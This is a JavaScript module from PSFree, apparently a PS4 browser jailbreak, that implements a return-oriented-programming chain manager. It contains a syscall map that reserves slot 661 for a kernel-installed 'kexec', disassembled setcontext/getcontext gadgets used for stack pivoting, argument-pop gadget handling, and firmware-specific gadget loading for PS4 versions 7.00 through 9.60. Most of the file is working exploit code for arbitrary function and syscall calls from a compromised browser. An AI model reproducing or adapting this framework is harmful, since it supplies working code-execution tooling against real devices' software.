/* Copyright (C) 2023-2025 anonymous

This file is part of PSFree.

PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.

PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU Affero General Public License for more details.

You should have received a copy of the GNU Affero General Public License
along with this program.  If not, see <https://www.gnu.org/licenses/>.  */

import { Int, lohi_from_one } from "./int64.mjs";
import { get_view_vector } from "./memtools.mjs";
import { Addr } from "./mem.mjs";

import * as config from "../config.mjs";

// put the sycall names that you want to use here
export const syscall_map = new Map(
  Object.entries({
    read: 3,
    write: 4,
    open: 5,
    close: 6,
    getpid: 20,
    setuid: 23,
    getuid: 24,
    accept: 30,
    pipe: 42,
    ioctl: 54,
    munmap: 73,
    mprotect: 74,
    fcntl: 92,
    socket: 97,
    connect: 98,
    bind: 104,
    setsockopt: 105,
    listen: 106,
    getsockopt: 118,
    fchmod: 124,
    socketpair: 135,
    fstat: 189,
    getdirentries: 196,
    __sysctl: 202,
    mlock: 203,
    clock_gettime: 232,
    nanosleep: 240,
    sched_yield: 331,
    kqueue: 362,
    kevent: 363,
    rtprio_thread: 466,
    mmap: 477,
    ftruncate: 480,
    shm_open: 482,
    cpuset_getaffinity: 487,
    cpuset_setaffinity: 488,
    jitshm_create: 533,
    jitshm_alias: 534,
    evf_create: 538,
    evf_delete: 539,
    evf_set: 544,
    evf_clear: 545,
    set_vm_container: 559,
    dmem_container: 586,
    dynlib_dlsym: 591,
    dynlib_get_list: 592,
    dynlib_get_info: 593,
    dynlib_load_prx: 594,
    randomized_path: 602,
    budget_get_ptype: 610,
    thr_suspend_ucontext: 632,
    thr_resume_ucontext: 633,
    blockpool_open: 653,
    blockpool_map: 654,
    blockpool_unmap: 655,
    blockpool_batch: 657,
    // syscall 661 is unimplemented so free for use. a kernel exploit will
    // install "kexec" here
    aio_submit: 661,
    kexec: 661,
    aio_multi_delete: 662,
    aio_multi_wait: 663,
    aio_multi_poll: 664,
    aio_multi_cancel: 666,
    aio_submit_cmd: 669,
    blockpool_move: 673,
  }),
);

const argument_pops = ["pop rdi; ret", "pop rsi; ret", "pop rdx; ret", "pop rcx; ret", "pop r8; ret", "pop r9; ret"];

// implementations are expected to have these gadgets:
// * libSceLibcInternal:
//   * __errno - FreeBSD's function to get the location of errno
//   * setcontext - what we call Sony's own version of _Ux86_64_setcontext
//   * getcontext - what we call Sony's own version of _Ux86_64_getcontext
// * anywhere:
//   * the gadgets at argument_pops
//   * ret
//
// setcontext/getcontext naming came from this project:
// https://github.com/libunwind/libunwind
//
// setcontext(context *ctx):
//     mov     rax, qword [rdi + 0x38]
//     sub     rax, 0x10 ; 16
//     mov     qword [rdi + 0x38], rax
//     mov     rbx, qword [rdi + 0x20]
//     mov     qword [rax], rbx
//     mov     rbx, qword [rdi + 0x80]
//     mov     qword [rax + 8], rbx
//     mov     rax, qword [rdi]
//     mov     rbx, qword [rdi + 8]
//     mov     rcx, qword [rdi + 0x10]
//     mov     rdx, qword [rdi + 0x18]
//     mov     rsi, qword [rdi + 0x28]
//     mov     rbp, qword [rdi + 0x30]
//     mov     r8, qword [rdi + 0x40]
//     mov     r9, qword [rdi + 0x48]
//     mov     r10, qword [rdi + 0x50]
//     mov     r11, qword [rdi + 0x58]
//     mov     r12, qword [rdi + 0x60]
//     mov     r13, qword [rdi + 0x68]
//     mov     r14, qword [rdi + 0x70]
//     mov     r15, qword [rdi + 0x78]
//     cmp     qword [rdi + 0xb0], 0x20001
//     jne     done
//     cmp     qword [rdi + 0xb8], 0x10002
//     jne     done
//     fxrstor [rdi + 0xc0]
// done:
//     mov     rsp, qword [rdi + 0x38]
//     pop     rdi
//     ret
//
//  getcontext(context *ctx):
//     mov     qword [rdi], rax
//     mov     qword [rdi + 8], rbx
//     mov     qword [rdi + 0x10], rcx
//     mov     qword [rdi + 0x18], rdx
//     mov     qword [rdi + 0x20], rdi
//     mov     qword [rdi + 0x28], rsi
//     mov     qword [rdi + 0x30], rbp
//     mov     qword [rdi + 0x38], rsp
//     add     qword [rdi + 0x38], 8
//     mov     qword [rdi + 0x40], r8
//     mov     qword [rdi + 0x48], r9
//     mov     qword [rdi + 0x50], r10
//     mov     qword [rdi + 0x58], r11
//     mov     qword [rdi + 0x60], r12
//     mov     qword [rdi + 0x68], r13
//     mov     qword [rdi + 0x70], r14
//     mov     qword [rdi + 0x78], r15
//     mov     rsi, qword [rsp]
//     mov     qword [rdi + 0x80], rsi
//     fxsave  [rdi + 0xc0]
//     mov     qword [rdi + 0xb0], 0x20001
//     mov     qword [rdi + 0xb8], 0x10002
//     xor     eax, eax
//     ret

// ROP chain manager base class
//
// Args:
//   stack_size: the size of the stack
//   upper_pad: the amount of extra space above stack
export class ChainBase {
  constructor(stack_size = 0x1000, upper_pad = 0x10000) {
    this._is_dirty = false;
    this.position = 0;

    const return_value = new Uint32Array(4);
    this._return_value = return_value;
    this.retval_addr = get_view_vector(return_value);

    const errno = new Uint32Array(1);
    this._errno = errno;
    this.errno_addr = get_view_vector(errno);

    const full_stack_size = upper_pad + stack_size;
    const stack_buffer = new ArrayBuffer(full_stack_size);
    const stack = new DataView(stack_buffer, upper_pad);
    this.stack = stack;
    this.stack_addr = get_view_vector(stack);
    this.stack_size = stack_size;
    this.full_stack_size = full_stack_size;
  }

  // use this if you want to write a new ROP chain but don't want to allocate
  // a new instance
  empty() {
    this.position = 0;
  }

  // flag indicating whether .run() was ever called with this chain
  get is_dirty() {
    return this._is_dirty;
  }

  clean() {
    this._is_dirty = false;
  }

  dirty() {
    this._is_dirty = true;
  }

  check_allow_run() {
    if (this.position === 0) {
      throw Error("chain is empty");
    }
    if (this.is_dirty) {
      throw Error("chain already ran, clean it first");
    }
  }

  reset() {
    this.empty();
    this.clean();
  }

  get retval_int() {
    return this._return_value[0] | 0;
  }

  get retval() {
    return new Int(this._return_value[0], this._return_value[1]);
  }

  // return value as a pointer
  get retval_ptr() {
    return new Addr(this._return_value[0], this._return_value[1]);
  }

  set retval(value) {
    const values = lohi_from_one(value);
    const retval = this._return_value;
    retval[0] = values[0];
    retval[1] = values[1];
  }

  get retval_all() {
    const retval = this._return_value;
    return [new Int(retval[0], retval[1]), new Int(retval[2], retval[3])];
  }

  set retval_all(values) {
    const [a, b] = [lohi_from_one(values[0]), lohi_from_one(values[1])];
    const retval = this._return_value;
    retval[0] = a[0];
    retval[1] = a[1];
    retval[2] = b[0];
    retval[3] = b[1];
  }

  get errno() {
    return this._errno[0];
  }

  set errno(value) {
    this._errno[0] = value;
  }

  push_value(value) {
    const position = this.position;
    if (position >= this.stack_size) {
      throw Error(`no more space on the stack, pushed value: ${value}`);
    }

    const values = lohi_from_one(value);
    const stack = this.stack;
    stack.setUint32(position, values[0], true);
    stack.setUint32(position + 4, values[1], true);

    this.position += 8;
  }

  get_gadget(insn_str) {
    const addr = this.gadgets.get(insn_str);
    if (addr === undefined) {
      throw Error(`gadget not found: ${insn_str}`);
    }

    return addr;
  }

  push_gadget(insn_str) {
    this.push_value(this.get_gadget(insn_str));
  }

  push_call(func_addr, ...args) {
    if (args.length > 6) {
      throw TypeError("push_call() does not support functions that have more than 6 arguments");
    }

    for (let i = 0; i < args.length; i++) {
      this.push_gadget(argument_pops[i]);
      this.push_value(args[i]);
    }

    // The address of our buffer seems to be always aligned to 8 bytes.
    // SysV calling convention requires the stack is aligned to 16 bytes on
    // function entry, so push an additional 8 bytes to pad the stack. We
    // pushed a "ret" gadget for a noop.
    if ((this.position & (0x10 - 1)) !== 0) {
      this.push_gadget("ret");
    }

    if (typeof func_addr === "string") {
      this.push_gadget(func_addr);
    } else {
      this.push_value(func_addr);
    }
  }

  push_syscall(syscall_name, ...args) {
    if (typeof syscall_name !== "string") {
      throw TypeError(`syscall_name not a string: ${syscall_name}`);
    }

    const sysno = syscall_map.get(syscall_name);
    if (sysno === undefined) {
      throw Error(`syscall_name not found: ${syscall_name}`);
    }

    const syscall_addr = this.syscall_array[sysno];
    if (syscall_addr === undefined) {
      throw Error(`syscall number not in syscall_array: ${sysno}`);
    }

    this.push_call(syscall_addr, ...args);
  }

  // Sets needed class properties
  //
  // Args:
  //   gadgets:
  //     A Map-like object mapping instruction strings (e.g. "pop rax; ret")
  //     to their addresses in memory.
  //   syscall_array:
  //     An array whose indices correspond to syscall numbers. Maps syscall
  //     numbers to their addresses in memory. Defaults to an empty Array.
  static init_class(gadgets, syscall_array = []) {
    this.prototype.gadgets = gadgets;
    this.prototype.syscall_array = syscall_array;
  }

  // START: implementation-dependent parts
  //
  // the user doesn't need to implement all of these. just the ones they need

  // Firmware specific method to launch a ROP chain
  //
  // Proper implementations will check if .position is nonzero before
  // running. Implementations can optionally check .is_dirty to enforce
  // single-run gadget sequences
  run() {
    throw Error("not implemented");
  }

  // anything you need to do before the ROP chain jumps back to JavaScript
  push_end() {
    throw Error("not implemented");
  }

  push_get_errno() {
    throw Error("not implemented");
  }

  push_clear_errno() {
    throw Error("not implemented");
  }

  // get the rax register
  push_get_retval() {
    throw Error("not implemented");
  }

  // get the rax and rdx registers
  push_get_retval_all() {
    throw Error("not implemented");
  }

  // END: implementation-dependent parts

  // note that later firmwares (starting around > 5.00?), the browser doesn't
  // have a JIT compiler. we programmed in a way that tries to make the
  // resulting bytecode be optimal
  //
  // we intentionally have an incomplete set (there's no function to get a
  // full 128-bit result). we only implemented what we think are the common
  // cases. the user will have to implement those other functions if they
  // need it

  do_call(...args) {
    if (this.position) {
      throw Error("chain not empty");
    }
    try {
      this.push_call(...args);
      this.push_get_retval();
      this.push_get_errno();
      this.push_end();
      this.run();
    } finally {
      this.reset();
    }
  }

  call_void(...args) {
    this.do_call(...args);
  }

  call_int(...args) {
    this.do_call(...args);
    // x | 0 will always be a signed integer
    return this._return_value[0] | 0;
  }

  call(...args) {
    this.do_call(...args);
    const retval = this._return_value;
    return new Int(retval[0], retval[1]);
  }

  do_syscall(...args) {
    if (this.position) {
      throw Error("chain not empty");
    }
    try {
      this.push_syscall(...args);
      this.push_get_retval();
      this.push_get_errno();
      this.push_end();
      this.run();
    } finally {
      this.reset();
    }
  }

  syscall_void(...args) {
    this.do_syscall(...args);
  }

  syscall_int(...args) {
    this.do_syscall(...args);
    // x | 0 will always be a signed integer
    return this._return_value[0] | 0;
  }

  syscall(...args) {
    this.do_syscall(...args);
    const retval = this._return_value;
    return new Int(retval[0], retval[1]);
  }

  syscall_ptr(...args) {
    this.do_syscall(...args);
    const retval = this._return_value;
    return new Addr(retval[0], retval[1]);
  }

  // syscall variants that throw an error on errno

  do_syscall_clear_errno(...args) {
    if (this.position) {
      throw Error("chain not empty");
    }
    try {
      this.push_clear_errno();
      this.push_syscall(...args);
      this.push_get_retval();
      this.push_get_errno();
      this.push_end();
      this.run();
    } finally {
      this.reset();
    }
  }

  sysi(...args) {
    const errno = this._errno;
    this.do_syscall_clear_errno(...args);

    const err = errno[0];
    if (err !== 0) {
      throw Error(`syscall(${args[0]}) errno: ${err}`);
    }

    // x | 0 will always be a signed integer
    return this._return_value[0] | 0;
  }

  sys(...args) {
    const errno = this._errno;
    this.do_syscall_clear_errno(...args);

    const err = errno[0];
    if (err !== 0) {
      throw Error(`syscall(${args[0]}) errno: ${err}`);
    }

    const retval = this._return_value;
    return new Int(retval[0], retval[1]);
  }

  sysp(...args) {
    const errno = this._errno;
    this.do_syscall_clear_errno(...args);

    const err = errno[0];
    if (err !== 0) {
      throw Error(`syscall(${args[0]}) errno: ${err}`);
    }

    const retval = this._return_value;
    return new Addr(retval[0], retval[1]);
  }
}

export function get_gadget(map, insn_str) {
  const addr = map.get(insn_str);
  if (addr === undefined) {
    throw Error(`gadget not found: ${insn_str}`);
  }

  return addr;
}

function load_fw_specific(version) {
  if (version & 0x10000) {
    throw RangeError("PS5 not supported yet");
  }

  const value = version & 0xffff;
  // we don't want to bother with very old firmwares that don't support
  // ECMAScript 2015. 6.xx WebKit poisons the pointer fields of some types
  // which can be annoying to deal with
  if (value < 0x700) {
    throw RangeError("PS4 firmwares <7.00 aren't supported");
  }

  if (0x700 <= value && value < 0x750) {
    // 7.00, 7.01, 7.02
    return import("../rop/ps4/700.mjs");
  } else if (0x750 <= value && value < 0x800) {
    // 7.50, 7.51, 7.55
    return import("../rop/ps4/750.mjs");
  } else if (0x800 <= value && value < 0x850) {
    // 8.00, 8.01, 8.03
    return import("../rop/ps4/800.mjs");
  } else if (0x850 <= value && value < 0x900) {
    // 8.50, 8.52
    return import("../rop/ps4/850.mjs");
  } else if (0x900 <= value && value < 0x950) {
    // 9.00, 9.03, 9.04
    return import("../rop/ps4/900.mjs");
  } else if (0x950 <= value && value < 0x1000) {
    // 9.50, 9.51, 9.60
    return import("../rop/ps4/950.mjs");
  }

  throw RangeError("Firmware not supported");
}

export let gadgets = null;
export let libwebkit_base = null;
export let libkernel_base = null;
export let libc_base = null;
export let init_gadget_map = null;
export let Chain = null;

export async function init() {
  const module = await load_fw_specific(config.target);
  Chain = module.Chain;
  module.init(Chain);
  ({ gadgets, libwebkit_base, libkernel_base, libc_base, init_gadget_map } = module);
}
